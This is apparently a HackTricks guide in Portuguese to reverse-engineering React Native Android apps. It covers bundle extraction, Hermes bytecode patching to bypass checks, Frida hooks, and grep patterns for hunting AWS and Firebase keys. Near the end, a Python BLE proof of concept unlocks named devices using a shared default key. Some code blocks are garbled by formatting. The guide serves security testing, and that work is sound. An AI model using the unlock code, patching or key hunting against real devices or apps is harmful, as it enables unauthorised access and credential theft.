Análise de Aplicação React Native

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Para confirmar se a aplicação foi construída com o framework React Native, siga estes passos:

  1. Renomeie o arquivo APK com a extensão zip e extraia-o para uma nova pasta usando o comando cp com.example.apk example-apk.zip e unzip -qq example-apk.zip -d ReactNative.

  2. Navegue até a pasta ReactNative recém-criada e localize a pasta assets. Dentro desta pasta, você deve encontrar o arquivo index.android.bundle, que contém o JavaScript do React em formato minificado.

  3. Use o comando find . -print | grep -i ".bundle$" para procurar o arquivo JavaScript.

Nota: Se você recebeu um Android App Bundle (.aab) em vez de um APK, gere primeiro um APK universal e então extraia o bundle:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Código Javascript

Se, ao verificar o conteúdo do index.android.bundle, você encontrar o código JavaScript da aplicação (mesmo que minificado), você pode analisar para encontrar informações sensíveis e vulnerabilidades.

Como o bundle contém na prática todo o código JS da aplicação, é possível dividi-lo em diferentes arquivos (potencialmente facilitando seu reverse engineering) usando a ferramenta react-native-decompiler.

Webpack

Para aprofundar a análise do código JavaScript, você pode enviar o arquivo para https://spaceraccoon.github.io/webpack-exploder/ ou seguir estes passos:

  1. Crie um arquivo chamado index.html no mesmo diretório com o código a seguir:
<script src="./index.android.bundle"></script>
  1. Abra o arquivo index.html no Google Chrome.

  2. Abra o Developer Toolbar pressionando Command+Option+J para OS X ou Control+Shift+J para Windows.

  3. Clique em “Sources” no Developer Toolbar. Você deverá ver um arquivo JavaScript dividido em pastas e arquivos, compondo o bundle principal.

Se você encontrar um arquivo chamado index.android.bundle.map, poderá analisar o código-fonte em formato não minificado. Arquivos map contêm source mapping, que permite mapear identificadores minificados.

Para procurar credenciais sensíveis e endpoints, siga estes passos:

  1. Identifique palavras-chave sensíveis para analisar o código JavaScript. Aplicações React Native frequentemente usam serviços de terceiros como Firebase, AWS S3 service endpoints, chaves privadas, etc.

  2. Neste caso específico, observou-se que a aplicação estava usando o serviço Dialogflow. Procure por um padrão relacionado à sua configuração.

  3. Foi sorte que credenciais sensíveis hard-coded foram encontradas no código JavaScript durante o processo de recon.

Rápida secrets/endpoint hunting em bundles

Estes simples greps frequentemente revelam indicadores interessantes mesmo em minified JS:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

Se você suspeitar de frameworks de atualização Over-The-Air, procure também por:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuração (expo-updates, expo\.io, signing certs)

Alterar o código JS e reconstruir

Nesse caso, alterar o código é fácil. Basta renomear o app para usar a extensão .zip e extrair. Em seguida, você pode modificar o código JS dentro desse bundle e reconstruir o app. Isso deve ser suficiente para permitir que você injete código no app para fins de teste.

Hermes bytecode

Se o bundle contiver Hermes bytecode, você não conseguirá acessar o código Javascript do app (nem mesmo a versão minificada).

Você pode verificar se o bundle contém Hermes bytecode executando o seguinte comando:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

No entanto, você pode usar as ferramentas hbctool, forks atualizados do hbctool que suportam versões mais recentes do bytecode, hasmer, hermes_rs (biblioteca/APIs em Rust), ou hermes-dec para desmontar o bytecode e também para decompilá-lo para algum código pseudo-JS. Por exemplo:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Dica: o projeto open-source Hermes também fornece ferramentas de desenvolvedor, como hbcdump, em releases específicos do Hermes. Se você compilar a versão do Hermes correspondente usada para produzir o bundle, o hbcdump pode dump functions, string tables, and bytecode para análise mais aprofundada.

Alterar o código e reconstruir (Hermes)

Idealmente você deve ser capaz de modificar o código desassemblado (alterando uma comparação, um valor ou qualquer coisa que precise modificar) e então reconstruir o bytecode e reconstruir o app.

  • A original hbctool suporta disassembling the bundle e montá-lo de volta após mudanças, mas historicamente suportava apenas versões antigas de bytecode. Forks mantidos pela comunidade estendem suporte a versões mais novas do Hermes (including mid-80s–96) e frequentemente são a opção mais prática para patchar apps RN modernos.
  • A ferramenta hermes-dec não suporta reconstruir o bytecode (decompiler/disassembler only), mas é muito útil para navegar a lógica e dump strings.
  • A ferramenta hasmer visa suportar tanto disassembly quanto assembly para múltiplas versões do Hermes; assembling ainda está amadurecendo, mas vale a pena tentar em bytecode recente.

Um fluxo de trabalho mínimo com hbctool-like assemblers:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Note que o formato de bytecode do Hermes é versionado e o assembler deve corresponder exatamente ao formato no disco. Se você obtiver erros de formato, troque para um fork/alternativa atualizada ou reconstrua as ferramentas do Hermes correspondentes.

Análise Dinâmica

Uma maneira de analisar dinamicamente o app é usar Frida para habilitar o modo de desenvolvedor do app React e usar react-native-debugger para se conectar a ele. Porém, para isso aparentemente você precisa do código-fonte do app. Você pode encontrar mais informações sobre isso em https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.

Habilitando Dev Support em release com Frida (observações)

Alguns apps acidentalmente incluem classes que tornam o Dev Support alternável. Se estiverem presentes, você pode tentar forçar getUseDeveloperSupport() a retornar true:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

Aviso: Em builds de release corretamente construídos, DevSupportManagerImpl e classes apenas para debug relacionadas são removidas, e alternar essa flag pode travar o app ou não ter efeito. Quando isso funciona, você normalmente consegue expor o dev menu e anexar debuggers/inspectors.

Interceptação de rede em apps RN

React Native Android normalmente depende de OkHttp por baixo (via o módulo nativo Networking). Para interceptar/observar o tráfego em um dispositivo não rootado durante testes dinâmicos:

  • Use proxy do sistema + confiar no certificado CA do usuário ou use outras técnicas genéricas de bypass de TLS no Android.
  • Dica específica de RN: se o app inclui o Flipper na release por engano (ferramentas de debug), o Flipper Network plugin pode expor requisições/respostas.

Para técnicas genéricas de interceptação no Android e bypass de pinning, consulte:

Make APK Accept CA Certificate

Objection Tutorial

Descoberta do protocolo GATT em tempo de execução com Frida (compatível com Hermes)

Quando o bytecode do Hermes bloqueia a inspeção estática fácil do JS, intercepte o stack BLE do Android em vez disso. android.bluetooth.BluetoothGatt e BluetoothGattCallback expõem tudo que o app envia/recebe, permitindo que você reverta protocolos proprietários de challenge-response e frames de comando sem o código-fonte JS.

Frida GATT logger (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

Hook `java.security.MessageDigest` para identificar handshakes baseados em hash e capturar a concatenação exata da entrada:

<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

Um fluxo BLE do mundo real recuperado desta forma:

  • Leia o challenge de 00002556-1212-efde-1523-785feabcd123.
  • Calcule response = SHA1(challenge || key) onde a key era um valor padrão de 20 bytes 0xFF provisionado em todos os dispositivos.
  • Escreva a resposta em 00002557-1212-efde-1523-785feabcd123, então envie comandos para 0000155f-1212-efde-1523-785feabcd123.

Uma vez autenticado, os comandos eram frames de 10 bytes para ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Exemplos: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Notificações chegavam em 0000155e-1212-efde-1523-785feabcd123 (2-byte registry + payload), e os valores do registry podiam ser consultados escrevendo o ID do registry em 00001564-1212-efde-1523-785feabcd123 e depois lendo de volta de ...155f....

Com uma key compartilhada/padrão o challenge-response colapsa. Qualquer atacante nas proximidades pode calcular o digest e enviar comandos privilegiados. Um PoC mínimo (bleak):

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## Problemas recentes em bibliotecas RN populares (o que procurar)

Ao auditar módulos de terceiros visíveis no bundle JS ou nas libs nativas, verifique vulnerabilidades conhecidas e confirme versões em `package.json`/`yarn.lock`.

- react-native-mmkv (Android): versões anteriores à 2.11.0 registravam a chave de criptografia opcional nos logs do Android. Se ADB/logcat estiver disponível, segredos poderiam ser recuperados. Garanta >= 2.11.0. Indicadores: uso de `react-native-mmkv`, mensagens de log mencionando MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versões < 9.1.1 eram vulneráveis a path traversal no Android (seleção de arquivo), corrigido na 9.1.1. Valide entradas e a versão da biblioteca.

Verificações rápidas:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks